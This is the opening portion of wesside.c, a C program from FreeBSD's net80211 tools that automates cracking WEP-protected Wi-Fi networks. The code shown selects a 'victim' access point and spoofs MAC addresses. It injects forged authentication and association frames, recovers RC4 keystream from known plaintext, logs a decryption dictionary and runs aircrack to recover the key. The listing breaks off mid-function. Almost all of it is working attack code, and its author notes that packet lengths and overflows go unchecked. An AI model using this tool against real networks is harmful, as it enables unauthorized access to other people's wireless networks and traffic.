wesside.c revision 168502
1/*
2 * wep owner by sorbo <sorbox@yahoo.com>
3 * Aug 2005
4 *
5 * XXX GENERAL: I DON'T CHECK FOR PACKET LENGTHS AND STUFF LIKE THAT and buffer
6 * overflows.  this whole thing is experimental n e way.
7 *
8 * $FreeBSD: head/tools/tools/net80211/wesside/wesside/wesside.c 168502 2007-04-08 21:18:15Z sam $
9 */
10
11#include <sys/types.h>
12#include <sys/socket.h>
13#include <sys/ioctl.h>
14#include <sys/endian.h>
15#include <sys/stat.h>
16#include <sys/wait.h>
17#include <sys/uio.h>
18#include <net/if.h>
19#include <net/if_media.h>
20#include <net/if_llc.h>
21#include <net/if_arp.h>
22#include <net/if_types.h>
23#include <net/if_dl.h>
24#include <net/bpf.h>
25#include <net/ethernet.h>
26#include <net80211/ieee80211.h>
27#include <net80211/ieee80211_ioctl.h>
28#include <net80211/ieee80211_radiotap.h>
29#include <net80211/ieee80211_freebsd.h>
30#include <netinet/in.h>
31#include <netinet/in_systm.h>
32#include <netinet/ip.h>
33#include <netinet/udp.h>
34#include <arpa/inet.h>
35#include <stdlib.h>
36#include <stdio.h>
37#include <unistd.h>
38#include <string.h>
39#include <fcntl.h>
40#include <errno.h>
41#include <assert.h>
42#include <zlib.h>
43#include <signal.h>
44#include <stdarg.h>
45#include <err.h>
46#include <pcap.h>
47
48#include "aircrack-ptw-lib.h"
49
50#define FIND_VICTIM		0
51#define FOUND_VICTIM		1
52#define SENDING_AUTH		2
53#define GOT_AUTH		3
54#define SPOOF_MAC		4
55#define SENDING_ASSOC		5
56#define GOT_ASSOC		6
57
58int state = 0;
59
60struct timeval arpsend;
61
62struct tx_state {
63	int waiting_ack;
64	struct timeval tsent;
65	int retries;
66	unsigned int psent;
67} txstate;
68
69struct chan_info {
70	int s;
71	struct ieee80211req ireq;
72	int chan;
73} chaninfo;
74
75struct victim_info {
76	char* ssid;
77	int chan;
78	char bss[6];
79} victim;
80
81struct frag_state {
82	struct ieee80211_frame wh;
83	unsigned char* data;
84	int len;
85	unsigned char* ptr;
86	int waiting_relay;
87	struct timeval last;
88} fragstate;
89
90struct prga_info {
91	unsigned char* prga;
92	unsigned int len;
93	unsigned char iv[3];
94} prgainfo;
95
96struct decrypt_state {
97	unsigned char* cipher;
98	int clen;
99	struct prga_info prgainfo;
100	struct frag_state fragstate;
101} decryptstate;
102
103struct wep_log {
104	unsigned int packets;
105	unsigned int rate;
106	int fd;
107	unsigned char iv[3];
108} weplog;
109
110#define LINKTYPE_IEEE802_11     105
111#define TCPDUMP_MAGIC           0xA1B2C3D4
112
113unsigned char* floodip = 0;
114unsigned short floodport = 6969;
115unsigned short floodsport = 53;
116
117unsigned char* netip = 0;
118int netip_arg = 0;
119
120unsigned char* rtrmac = 0;
121
122unsigned char mymac[] = "\x00\x00\xde\xfa\xce\x0d";
123unsigned char myip[16] = "192.168.0.123";
124
125int bits = 0;
126int ttl_val = 0;
127
128PTW_attackstate *ptw;
129
130unsigned char *victim_mac = 0;
131
132int ack_timeout = 100*1000;
133
134#define ARPLEN (8+ 8 + 20)
135unsigned char arp_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
136unsigned char ip_clear[] =  "\xAA\xAA\x03\x00\x00\x00\x08\x00";
137#define S_LLC_SNAP      "\xAA\xAA\x03\x00\x00\x00"
138#define S_LLC_SNAP_ARP  (S_LLC_SNAP "\x08\x06")
139#define S_LLC_SNAP_IP   (S_LLC_SNAP "\x08\x00")
140
141#define MCAST_PREF "\x01\x00\x5e\x00\x00"
142
143#define WEP_FILE "wep.cap"
144#define KEY_FILE "key.log"
145#define PRGA_FILE "prga.log"
146
147unsigned int min_prga =  128;
148
149/*
150 * When starting aircrack we try first to use a
151 * local copy, falling back to where the installed
152 * version is expected.
153 * XXX builtin pathnames
154 */
155#define CRACK_LOCAL_CMD "../aircrack/aircrack"
156#define CRACK_INSTALL_CMD "/usr/local/bin/aircrack"
157
158#define INCR 30000
159int thresh_incr = INCR;
160
161#define MAGIC_TTL_PAD 69
162
163int crack_dur = 60;
164int wep_thresh = INCR;
165int crack_pid = 0;
166struct timeval crack_start;
167struct timeval real_start;
168
169/* linksys does this.  The hardware pads small packets. */
170#define PADDED_ARPLEN 54
171
172#define PRGA_LEN (1500-14-20-8)
173unsigned char inet_clear[8+20+8+PRGA_LEN+4];
174
175#define DICT_PATH "dict"
176#define TAP_DEV "/dev/tap3"
177unsigned char tapdev[16];
178unsigned char taptx[4096];
179unsigned int taptx_len = 0;
180int tapfd = -1;
181
182/********** RIPPED
183************/
184unsigned short in_cksum (unsigned short *ptr, int nbytes) {
185  register long sum;
186  u_short oddbyte;
187  register u_short answer;
188
189  sum = 0;
190  while (nbytes > 1)
191    {
192      sum += *ptr++;
193      nbytes -= 2;
194    }
195
196  if (nbytes == 1)
197    {
198      oddbyte = 0;
199      *((u_char *) & oddbyte) = *(u_char *) ptr;
200      sum += oddbyte;
201    }
202
203  sum = (sum >> 16) + (sum & 0xffff);
204  sum += (sum >> 16);
205  answer = ~sum;
206  return (answer);
207}
208/**************
209************/
210
211unsigned int udp_checksum(unsigned char *stuff, int len, struct in_addr *sip,
212                          struct in_addr *dip) {
213        unsigned char *tmp;
214        struct ippseudo *ph;
215
216        tmp = (unsigned char*) malloc(len + sizeof(struct ippseudo));
217        if(!tmp)
218		err(1, "malloc()");
219
220        ph = (struct ippseudo*) tmp;
221
222        memcpy(&ph->ippseudo_src, sip, 4);
223        memcpy(&ph->ippseudo_dst, dip, 4);
224        ph->ippseudo_pad =  0;
225        ph->ippseudo_p = IPPROTO_UDP;
226        ph->ippseudo_len = htons(len);
227
228        memcpy(tmp + sizeof(struct ippseudo), stuff, len);
229
230        return in_cksum((unsigned short*)tmp, len+sizeof(struct ippseudo));
231}
232
233void time_print(char* fmt, ...) {
234        va_list ap;
235        char lame[1024];
236	time_t tt;
237	struct tm *t;
238
239        va_start(ap, fmt);
240        vsnprintf(lame, sizeof(lame), fmt, ap);
241        va_end(ap);
242
243	tt = time(NULL);
244
245	if (tt == (time_t)-1) {
246		perror("time()");
247		exit(1);
248	}
249
250	t = localtime(&tt);
251	if (!t) {
252		perror("localtime()");
253		exit(1);
254	}
255
256	printf("[%.2d:%.2d:%.2d] %s",
257	       t->tm_hour, t->tm_min, t->tm_sec, lame);
258}
259
260void check_key() {
261	char buf[1024];
262	int fd;
263	int rd;
264	struct timeval now;
265
266	fd = open(KEY_FILE, O_RDONLY);
267
268	if (fd == -1) {
269		return;
270	}
271
272	rd = read(fd, buf, sizeof(buf) -1);
273	if (rd == -1) {
274		perror("read()");
275		exit(1);
276	}
277
278	buf[rd] = 0;
279
280	close(fd);
281
282	printf ("\n\n");
283	time_print("KEY=(%s)\n", buf);
284
285	if (gettimeofday(&now, NULL) == -1) {
286		perror("gettimeofday()");
287		exit(1);
288	}
289
290	printf ("Owned in %.02f minutes\n",
291		((double) now.tv_sec - real_start.tv_sec)/60.0);
292	exit(0);
293}
294
295void kill_crack() {
296	if (crack_pid == 0)
297		return;
298
299	printf("\n");
300	time_print("Stopping crack PID=%d\n", crack_pid);
301
302	// XXX doesn't return -1 for some reason! [maybe on my box... so it
303	// might be buggy on other boxes...]
304	if (kill(crack_pid, SIGINT) == -1) {
305		perror("kill()");
306		exit(1);
307	}
308
309	crack_pid = 0;
310
311	check_key();
312}
313
314void cleanup(int x) {
315	time_print("\nDying...\n");
316
317	if (weplog.fd)
318		close(weplog.fd);
319
320	kill_crack();
321
322	exit(0);
323}
324
325void set_chan(int c) {
326	if (c == chaninfo.chan)
327		return;
328
329	chaninfo.ireq.i_val = c;
330
331	if (ioctl(chaninfo.s, SIOCS80211, &chaninfo.ireq) == -1) {
332		perror("ioctl(SIOCS80211) [chan]");
333		exit(1);
334	}
335	chaninfo.chan = c;
336}
337
338void set_if_mac(unsigned char* mac, unsigned char *name) {
339	int s;
340	struct ifreq ifr;
341
342	s = socket(PF_INET, SOCK_DGRAM, 0);
343	if (s == -1) {
344		perror("socket()");
345		exit(1);
346	}
347
348	memset(&ifr, 0, sizeof(ifr));
349	strcpy(ifr.ifr_name, name);
350
351	ifr.ifr_addr.sa_family = AF_LINK;
352	ifr.ifr_addr.sa_len = 6;
353	memcpy(ifr.ifr_addr.sa_data, mac, 6);
354
355	if (ioctl(s, SIOCSIFLLADDR, &ifr) == -1) {
356		perror("ioctl(SIOCSIFLLADDR)");
357		exit(1);
358	}
359
360	close(s);
361}
362
363void setup_if(char *dev) {
364	int s;
365	struct ifreq ifr;
366	unsigned int flags;
367	struct ifmediareq ifmr;
368	int *mwords;
369
370	if(strlen(dev) >= IFNAMSIZ) {
371		time_print("Interface name too long...\n");
372		exit(1);
373	}
374
375	time_print("Setting up %s... ", dev);
376	fflush(stdout);
377
378	set_if_mac(mymac, dev);
379
380	s = socket(PF_INET, SOCK_DGRAM, 0);
381	if (s == -1) {
382		perror("socket()");
383		exit(1);
384	}
385
386	// set iface up and promisc
387	memset(&ifr, 0, sizeof(ifr));
388	strcpy(ifr.ifr_name, dev);
389	if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
390		perror("ioctl(SIOCGIFFLAGS)");
391		exit(1);
392	}
393
394	flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
395	flags |= IFF_UP | IFF_PPROMISC;
396
397	memset(&ifr, 0, sizeof(ifr));
398	strcpy(ifr.ifr_name, dev);
399	ifr.ifr_flags = flags & 0xffff;
400	ifr.ifr_flagshigh = flags >> 16;
401	if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
402		perror("ioctl(SIOCSIFFLAGS)");
403		exit(1);
404	}
405
406	// set monitor mode
407	memset(&ifmr, 0, sizeof(ifmr));
408	strcpy(ifmr.ifm_name, dev);
409	if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) {
410		perror("ioctl(SIOCGIFMEDIA)");
411		exit(1);
412	}
413
414	if (ifmr.ifm_count == 0) {
415		time_print("0 media thinggies...\n");
416		exit(1);
417	}
418
419	mwords = (int *)malloc(ifmr.ifm_count * sizeof(int));
420	if (!mwords) {
421		perror("malloc()");
422		exit(1);
423	}
424	ifmr.ifm_ulist = mwords;
425
426	if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) {
427		perror("ioctl(SIOCGIFMEDIA)");
428		exit(1);
429	}
430	free(mwords);
431
432	memset(&ifr, 0, sizeof(ifr));
433	strcpy(ifr.ifr_name, dev);
434	ifr.ifr_media = ifmr.ifm_current | IFM_IEEE80211_MONITOR;
435	if (ioctl(s, SIOCSIFMEDIA, &ifr) == -1) {
436		perror("ioctl(SIOCSIFMEDIA)");
437		exit(1);
438	}
439
440	// set chan
441	memset(&chaninfo.ireq, 0, sizeof(chaninfo.ireq));
442	strcpy(chaninfo.ireq.i_name, dev);
443	chaninfo.ireq.i_type = IEEE80211_IOC_CHANNEL;
444
445	chaninfo.chan = 0;
446	chaninfo.s = s;
447	set_chan(1);
448
449	printf("done\n");
450}
451
452int open_bpf(char *dev, int dlt) {
453        int i;
454        char buf[64];
455        int fd = -1;
456        struct ifreq ifr;
457
458        for(i = 0;i < 16; i++) {
459                sprintf(buf, "/dev/bpf%d", i);
460
461                fd = open(buf, O_RDWR);
462                if(fd < 0) {
463                        if(errno != EBUSY) {
464                                perror("can't open /dev/bpf");
465                                exit(1);
466                        }
467                        continue;
468                }
469                else
470                        break;
471        }
472
473        if(fd < 0) {
474                perror("can't open /dev/bpf");
475                exit(1);
476        }
477
478        strncpy(ifr.ifr_name, dev, sizeof(ifr.ifr_name)-1);
479        ifr.ifr_name[sizeof(ifr.ifr_name)-1] = 0;
480
481        if(ioctl(fd, BIOCSETIF, &ifr) < 0) {
482                perror("ioctl(BIOCSETIF)");
483                exit(1);
484        }
485
486        if (ioctl(fd, BIOCSDLT, &dlt) < 0) {
487                perror("ioctl(BIOCSDLT)");
488                exit(1);
489        }
490
491        i = 1;
492        if(ioctl(fd, BIOCIMMEDIATE, &i) < 0) {
493                perror("ioctl(BIOCIMMEDIATE)");
494                exit(1);
495        }
496
497        return fd;
498}
499
500void hexdump(unsigned char *ptr, int len) {
501        while(len > 0) {
502                printf("%.2X ", *ptr);
503                ptr++; len--;
504        }
505        printf("\n");
506}
507
508char* mac2str(unsigned char* mac) {
509	static char ret[6*3];
510
511	sprintf(ret, "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X",
512		mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
513
514	return ret;
515}
516
517void inject(int fd, void *buf, int len)
518{
519	static struct ieee80211_bpf_params params = {
520		.ibp_vers = IEEE80211_BPF_VERSION,
521		/* NB: no need to pass series 2-4 rate+try */
522		.ibp_len = sizeof(struct ieee80211_bpf_params) - 6,
523		.ibp_rate0 = 2,		/* 1 MB/s XXX */
524		.ibp_try0 = 1,		/* no retransmits */
525		.ibp_flags = IEEE80211_BPF_NOACK,
526		.ibp_power = 100,	/* nominal max */
527		.ibp_pri = WME_AC_VO,	/* high priority */
528	};
529	struct iovec iov[2];
530	int rc;
531
532	iov[0].iov_base = &params;
533	iov[0].iov_len = params.ibp_len;
534	iov[1].iov_base = buf;
535	iov[1].iov_len = len;
536	rc = writev(fd, iov, 2);
537	if(rc == -1) {
538		perror("writev()");
539		exit(1);
540	}
541	if (rc != (len + iov[0].iov_len)) {
542		time_print("Error Wrote %d out of %d\n", rc,
543			   len+iov[0].iov_len);
544		exit(1);
545	}
546}
547
548void send_frame(int tx, unsigned char* buf, int len) {
549	static unsigned char* lame = 0;
550	static int lamelen = 0;
551	static int lastlen = 0;
552
553	// retransmit!
554	if (len == -1) {
555		txstate.retries++;
556
557		if (txstate.retries > 10) {
558			time_print("ERROR Max retransmists for (%d bytes):\n",
559			       lastlen);
560			hexdump(&lame[0], lastlen);
561//			exit(1);
562		}
563		len = lastlen;
564//		printf("Warning doing a retransmit...\n");
565	}
566	// normal tx
567	else {
568		assert(!txstate.waiting_ack);
569
570		if (len > lamelen) {
571			if (lame)
572				free(lame);
573
574			lame = (unsigned char*) malloc(len);
575			if(!lame) {
576				perror("malloc()");
577				exit(1);
578			}
579
580			lamelen = len;
581		}
582
583		memcpy(lame, buf, len);
584		txstate.retries = 0;
585		lastlen = len;
586	}
587
588	inject(tx, lame, len);
589
590	txstate.waiting_ack = 1;
591	txstate.psent++;
592	if (gettimeofday(&txstate.tsent, NULL) == -1) {
593		perror("gettimeofday()");
594		exit(1);
595	}
596
597#if 0
598	printf("Wrote frame at %lu.%lu\n",
599	       txstate.tsent.tv_sec, txstate.tsent.tv_usec);
600#endif
601}
602
603unsigned short fnseq(unsigned short fn, unsigned short seq) {
604        unsigned short r = 0;
605
606        if(fn > 15) {
607                time_print("too many fragments (%d)\n", fn);
608                exit(1);
609        }
610
611        r = fn;
612
613        r |=  ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT);
614
615        return r;
616}
617
618void fill_basic(struct ieee80211_frame* wh) {
619	unsigned short* sp;
620
621	memcpy(wh->i_addr1, victim.bss, 6);
622	memcpy(wh->i_addr2, mymac, 6);
623	memcpy(wh->i_addr3, victim.bss, 6);
624
625
626
627	sp = (unsigned short*) wh->i_seq;
628	*sp = fnseq(0, txstate.psent);
629
630	sp = (unsigned short*) wh->i_dur;
631	*sp = htole16(32767);
632}
633
634void send_assoc(int tx) {
635	unsigned char buf[128];
636	struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
637	unsigned char* body;
638	int ssidlen;
639
640	memset(buf, 0, sizeof(buf));
641	fill_basic(wh);
642	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ;
643
644	body = (unsigned char*) wh + sizeof(*wh);
645	*body = 1 | IEEE80211_CAPINFO_PRIVACY; // cap
646	// cap + interval
647	body += 2 + 2;
648
649	// ssid
650	*body++ = 0;
651	ssidlen = strlen(victim.ssid);
652	*body++ = ssidlen;
653	memcpy(body, victim.ssid, ssidlen);
654	body += ssidlen;
655
656	// rates
657	*body++ = 1;
658	*body++ = 4;
659	*body++ = 2;
660	*body++ = 4;
661	*body++ = 11;
662	*body++ = 22;
663
664	send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2 +
665			    strlen(victim.ssid) + 2 + 4);
666}
667
668void wepify(unsigned char* body, int dlen) {
669	uLong crc;
670	unsigned long *pcrc;
671	int i;
672
673	assert(dlen + 4 <= prgainfo.len);
674
675	// iv
676	memcpy(body, prgainfo.iv, 3);
677	body +=3;
678	*body++ = 0;
679
680	// crc
681	crc = crc32(0L, Z_NULL, 0);
682	crc = crc32(crc, body, dlen);
683	pcrc = (unsigned long*) (body+dlen);
684	*pcrc = crc;
685
686	for (i = 0; i < dlen +4; i++)
687		*body++ ^= prgainfo.prga[i];
688}
689
690void send_auth(int tx) {
691	unsigned char buf[128];
692	struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
693	unsigned short* n;
694
695	memset(buf, 0, sizeof(buf));
696	fill_basic(wh);
697	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;
698
699	n = (unsigned short*) ((unsigned char*) wh + sizeof(*wh));
700	n++;
701	*n = 1;
702
703	send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2);
704}
705
706int get_victim_ssid(struct ieee80211_frame* wh, int len) {
707	unsigned char* ptr;
708	int x;
709	int gots = 0, gotc = 0;
710
711	if (len <= sizeof(*wh)) {
712		time_print("Warning: short packet in get_victim_ssid()\n");
713		return 0;
714	}
715
716	ptr = (unsigned char*)wh + sizeof(*wh);
717	len -= sizeof(*wh);
718
719	// only wep baby
720	if ( !(IEEE80211_BEACON_CAPABILITY(ptr) & IEEE80211_CAPINFO_PRIVACY)) {
721		return 0;
722	}
723
724	// we want a specific victim
725	if (victim_mac) {
726		if (memcmp(wh->i_addr3, victim_mac, 6) != 0)
727			return 0;
728	}
729
730	// beacon header
731	x = 8 + 2 + 2;
732	if (len <= x) {
733		time_print("Warning short.asdfasdf\n");
734		return 0;
735	}
736
737	ptr += x;
738	len -= x;
739
740	// SSID
741	while(len > 2) {
742		int eid, elen;
743
744		eid = *ptr;
745		ptr++;
746		elen = *ptr;
747		ptr++;
748		len -= 2;
749
750		if (len < elen) {
751			time_print("Warning short....\n");
752			return 0;
753		}
754
755		// ssid
756		if (eid == 0) {
757			if (victim.ssid)
758				free(victim.ssid);
759
760			victim.ssid = (char*) malloc(elen + 1);
761			if (!victim.ssid) {
762				perror("malloc()");
763				exit(1);
764			}
765
766			memcpy(victim.ssid, ptr, elen);
767			victim.ssid[elen] = 0;
768			gots = 1;
769
770		}
771		// chan
772		else if(eid == 3) {
773			if( elen != 1) {
774				time_print("Warning len of chan not 1\n");
775				return 0;
776			}
777
778			victim.chan = *ptr;
779			gotc = 1;
780		}
781
782		ptr += elen;
783		len -= elen;
784	}
785
786	if (gots && gotc) {
787		memcpy(victim.bss, wh->i_addr3, 6);
788		set_chan(victim.chan);
789		state = FOUND_VICTIM;
790		time_print("Found SSID(%s) BSS=(%s) chan=%d\n",
791		       victim.ssid, mac2str(victim.bss), victim.chan);
792		return 1;
793	}
794	return 0;
795}
796
797void send_ack(int tx) {
798	/* firmware acks */
799}
800
801void do_llc(unsigned char* buf, unsigned short type) {
802	struct llc* h = (struct llc*) buf;
803
804	memset(h, 0, sizeof(*h));
805	h->llc_dsap = LLC_SNAP_LSAP;
806	h->llc_ssap = LLC_SNAP_LSAP;
807	h->llc_un.type_snap.control = 3;
808	h->llc_un.type_snap.ether_type = htons(type);
809}
810
811void calculate_inet_clear() {
812	struct ip* ih;
813	struct udphdr* uh;
814	uLong crc;
815	unsigned long *pcrc;
816	int dlen;
817
818	memset(inet_clear, 0, sizeof(inet_clear));
819
820	do_llc(inet_clear, ETHERTYPE_IP);
821
822	ih = (struct ip*) &inet_clear[8];
823	ih->ip_hl = 5;
824	ih->ip_v = 4;
825	ih->ip_tos = 0;
826	ih->ip_len = htons(20+8+PRGA_LEN);
827	ih->ip_id = htons(666);
828	ih->ip_off = 0;
829	ih->ip_ttl = ttl_val;
830	ih->ip_p = IPPROTO_UDP;
831	ih->ip_sum = 0;
832	inet_aton(floodip, &ih->ip_src);
833	inet_aton(myip, &ih->ip_dst);
834	ih->ip_sum = in_cksum((unsigned short*)ih, 20);
835
836	uh = (struct udphdr*) ((char*)ih + 20);
837	uh->uh_sport = htons(floodport);
838	uh->uh_dport = htons(floodsport);
839	uh->uh_ulen = htons(8+PRGA_LEN);
840	uh->uh_sum = 0;
841        uh->uh_sum = udp_checksum((unsigned char*)uh, 8+PRGA_LEN,
842                                  &ih->ip_src, &ih->ip_dst);
843
844	// crc
845	dlen = 8 + 20 + 8 + PRGA_LEN;
846	assert (dlen + 4 <= sizeof(inet_clear));
847
848	crc = crc32(0L, Z_NULL, 0);
849	crc = crc32(crc, inet_clear, dlen);
850	pcrc = (unsigned long*) (inet_clear+dlen);
851	*pcrc = crc;
852
853#if 0
854	printf("INET %d\n", sizeof(inet_clear));
855	hexdump(inet_clear, sizeof(inet_clear));
856#endif
857}
858
859void set_prga(unsigned char* iv, unsigned char* cipher,
860	      unsigned char* clear, int len) {
861
862	int i;
863	int fd;
864
865	if (prgainfo.len != 0)
866		free(prgainfo.prga);
867
868	prgainfo.prga = (unsigned char*) malloc(len);
869	if (!prgainfo.prga) {
870		perror("malloc()");
871		exit(1);
872	}
873
874	prgainfo.len = len;
875	memcpy(prgainfo.iv, iv, 3);
876
877	for (i = 0; i < len; i++) {
878		prgainfo.prga[i] =  ( cipher ? (clear[i] ^ cipher[i]) :
879				 	        clear[i]);
880	}
881
882	time_print("Got %d bytes of prga IV=(%.02x:%.02x:%.02x) PRGA=",
883	       prgainfo.len, prgainfo.iv[0], prgainfo.iv[1], prgainfo.iv[2]);
884	hexdump(prgainfo.prga, prgainfo.len);
885
886	if (!cipher)
887		return;
888
889	fd = open(PRGA_FILE, O_WRONLY | O_CREAT,
890		  S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
891
892	if (fd == -1) {
893		perror("open()");
894		exit(1);
895	}
896
897	i = write(fd, prgainfo.iv, 3);
898	if (i == -1) {
899		perror("write()");
900		exit(1);
901	}
902	if (i != 3) {
903		printf("Wrote %d out of %d\n", i, 3);
904		exit(1);
905	}
906
907	i = write(fd, prgainfo.prga, prgainfo.len);
908	if (i == -1) {
909		perror("write()");
910		exit(1);
911	}
912	if (i != prgainfo.len) {
913		printf("Wrote %d out of %d\n", i, prgainfo.len);
914		exit(1);
915	}
916
917	close(fd);
918}
919
920
921void log_dictionary(unsigned char* body, int len) {
922	char paths[3][3];
923	int i, rd;
924	int fd;
925	unsigned char path[128];
926	unsigned char file_clear[sizeof(inet_clear)];
927	unsigned char* data;
928
929	len -= 4; // IV etc..
930	assert (len == sizeof(inet_clear));
931
932	data = body +4;
933
934	if (len > prgainfo.len)
935		set_prga(body, data, inet_clear, len);
936
937
938	for (i = 0; i < 3; i++)
939		snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
940
941
942	strcpy(path, DICT_PATH);
943
944
945	// first 2 bytes
946	for (i = 0; i < 2; i++) {
947		strcat(path, "/");
948		strcat(path, paths[i]);
949		fd = open(path, O_RDONLY);
950		if (fd == -1) {
951			if (errno != ENOENT) {
952				perror("open()");
953				exit(1);
954			}
955
956			if (mkdir(path, 0755) == -1) {
957				perror("mkdir()");
958				exit(1);
959			}
960		}
961		else
962			close(fd);
963	}
964
965	// last byte
966	strcat(path, "/");
967	strcat(path, paths[2]);
968
969	fd = open(path, O_RDWR);
970	// already exists... see if we are consistent...
971	if (fd != -1) {
972		rd = read(fd, file_clear, sizeof(file_clear));
973
974		if (rd == -1) {
975			perror("read()");
976			exit(1);
977		}
978
979		// check consistency....
980		for (i = 0; i < rd; i++) {
981			if (file_clear[i] !=
982			    (data[i] ^ inet_clear[i])) {
983
984				printf("Mismatch in byte %d for:\n", i);
985				hexdump(body, len+4);
986				exit(1);
987			}
988		}
989
990		// no need to log
991		if (i >= sizeof(inet_clear)) {
992#if 0
993			time_print("Not logging IV %.2X:%.2X:%.2X cuz we got it\n",
994				body[0], body[1], body[2]);
995#endif
996			close(fd);
997			return;
998		}
999
1000		// file has less... fd still open
1001
1002	} else {
1003		fd = open(path, O_WRONLY | O_CREAT, 0644);
1004		if (fd == -1) {
1005			printf("Can't open (%s): %s\n", path,
1006			       strerror(errno));
1007			exit(1);
1008		}
1009	}
1010
1011	assert (sizeof(file_clear) >= sizeof(inet_clear));
1012
1013	for(i = 0; i < len; i++)
1014		file_clear[i] = data[i] ^ inet_clear[i];
1015
1016	rd = write(fd, file_clear, len);
1017	if (rd == -1) {
1018		perror("write()");
1019		exit(1);
1020	}
1021	if (rd != len) {
1022		printf("Wrote %d of %d\n", rd, len);
1023		exit(1);
1024	}
1025	close(fd);
1026}
1027
1028void stuff_for_us(struct ieee80211_frame* wh, int len) {
1029	int type,stype;
1030	unsigned char* body;
1031
1032	type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1033	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1034
1035	body = (unsigned char*) wh + sizeof(*wh);
1036
1037	// CTL
1038	if (type == IEEE80211_FC0_TYPE_CTL) {
1039		if (stype == IEEE80211_FC0_SUBTYPE_ACK) {
1040			txstate.waiting_ack = 0;
1041			return;
1042		}
1043
1044		if (stype == IEEE80211_FC0_SUBTYPE_RTS) {
1045			return;
1046		}
1047
1048		if (stype == IEEE80211_FC0_SUBTYPE_CTS) {
1049			return;
1050		}
1051		time_print ("got CTL=%x\n", stype);
1052		return;
1053	}
1054
1055	// MGM
1056	if (type == IEEE80211_FC0_TYPE_MGT) {
1057		if (stype == IEEE80211_FC0_SUBTYPE_DEAUTH) {
1058			unsigned short* rc = (unsigned short*) body;
1059			printf("\n");
1060			time_print("Got deauth=%u\n", le16toh(*rc));
1061			state = FOUND_VICTIM;
1062			return;
1063			exit(1);
1064		}
1065		else if (stype == IEEE80211_FC0_SUBTYPE_AUTH) {
1066			unsigned short* sc = (unsigned short*) body;
1067
1068			if (*sc != 0) {
1069				time_print("Warning got auth algo=%x\n", *sc);
1070				exit(1);
1071				return;
1072			}
1073			sc++;
1074
1075			if (*sc != 2) {
1076				time_print("Warning got auth seq=%x\n", *sc);
1077				return;
1078			}
1079
1080			sc++;
1081
1082			if (*sc == 1) {
1083				time_print("Auth rejected... trying to spoof mac.\n");
1084				state = SPOOF_MAC;
1085				return;
1086			}
1087			else if (*sc == 0) {
1088				time_print("Authenticated\n");
1089				state = GOT_AUTH;
1090				return;
1091			}
1092			else {
1093				time_print("Got auth %x\n", *sc);
1094				exit(1);
1095			}
1096		}
1097		else if (stype == IEEE80211_FC0_SUBTYPE_ASSOC_RESP) {
1098			unsigned short* sc = (unsigned short*) body;
1099			sc++; // cap
1100
1101			if (*sc == 0) {
1102				sc++;
1103				unsigned int aid = le16toh(*sc) & 0x3FFF;
1104				time_print("Associated (ID=%x)\n", aid);
1105				state = GOT_ASSOC;
1106				return;
1107			} else {
1108				time_print("got assoc %x\n", *sc);
1109				exit(1);
1110			}
1111		} else if (stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
1112			return;
1113		}
1114
1115		time_print("\nGOT MAN=%x\n", stype);
1116		exit(1);
1117	}
1118
1119	if (type == IEEE80211_FC0_TYPE_DATA &&
1120	    stype == IEEE80211_FC0_SUBTYPE_DATA) {
1121		int dlen;
1122		dlen = len - sizeof(*wh) - 4 -4;
1123
1124		if (!( wh->i_fc[1] & IEEE80211_FC1_WEP)) {
1125			time_print("WARNING: Got NON wep packet from %s dlen %d stype=%x\n",
1126				   mac2str(wh->i_addr2), dlen, stype);
1127				   return;
1128		}
1129
1130		assert (wh->i_fc[1] & IEEE80211_FC1_WEP);
1131
1132		if ((dlen == 36 || dlen == PADDED_ARPLEN) && rtrmac == (unsigned char*) 1) {
1133			rtrmac = (unsigned char *) malloc(6);
1134			if (!rtrmac) {
1135				perror("malloc()");
1136				exit(1);
1137			}
1138
1139			assert( rtrmac > (unsigned char*) 1);
1140
1141			memcpy (rtrmac, wh->i_addr3, 6);
1142			time_print("Got arp reply from (%s)\n", mac2str(rtrmac));
1143
1144			return;
1145		}
1146#if 0
1147		// check if its a TTL update from dictionary stuff
1148		if (dlen >= (8+20+8+MAGIC_TTL_PAD) &&
1149		    dlen <= (8+20+8+MAGIC_TTL_PAD+128)) {
1150			int ttl_delta, new_ttl;
1151
1152			ttl_delta = dlen - 8 - 20 - 8 - MAGIC_TTL_PAD;
1153			new_ttl = 128 - ttl_delta;
1154
1155			if (ttl_val && new_ttl != ttl_val) {
1156				time_print("oops. ttl changed from %d to %d\n",
1157					   ttl_val, new_ttl);
1158				exit(1);
1159			}
1160
1161			if (!ttl_val) {
1162				ttl_val = new_ttl;
1163				printf("\n");
1164				time_print("Got TTL of %d\n", ttl_val);
1165				calculate_inet_clear();
1166			}
1167		}
1168
1169		// check if its dictionary data
1170		if (ttl_val && dlen == (8+20+8+PRGA_LEN)) {
1171			log_dictionary(body, len - sizeof(*wh));
1172		}
1173#endif
1174	}
1175
1176#if 0
1177	printf ("Got frame for us (type=%x stype=%x) from=(%s) len=%d\n",
1178		type, stype, mac2str(wh->i_addr2), len);
1179#endif
1180}
1181
1182void decrypt_arpreq(struct ieee80211_frame* wh, int rd) {
1183	unsigned char* body;
1184	int bodylen;
1185	unsigned char clear[36];
1186	unsigned char* ptr;
1187	struct arphdr* h;
1188	int i;
1189
1190	body = (unsigned char*) wh+sizeof(*wh);
1191	ptr = clear;
1192
1193	// calculate clear-text
1194	memcpy(ptr, arp_clear, sizeof(arp_clear)-1);
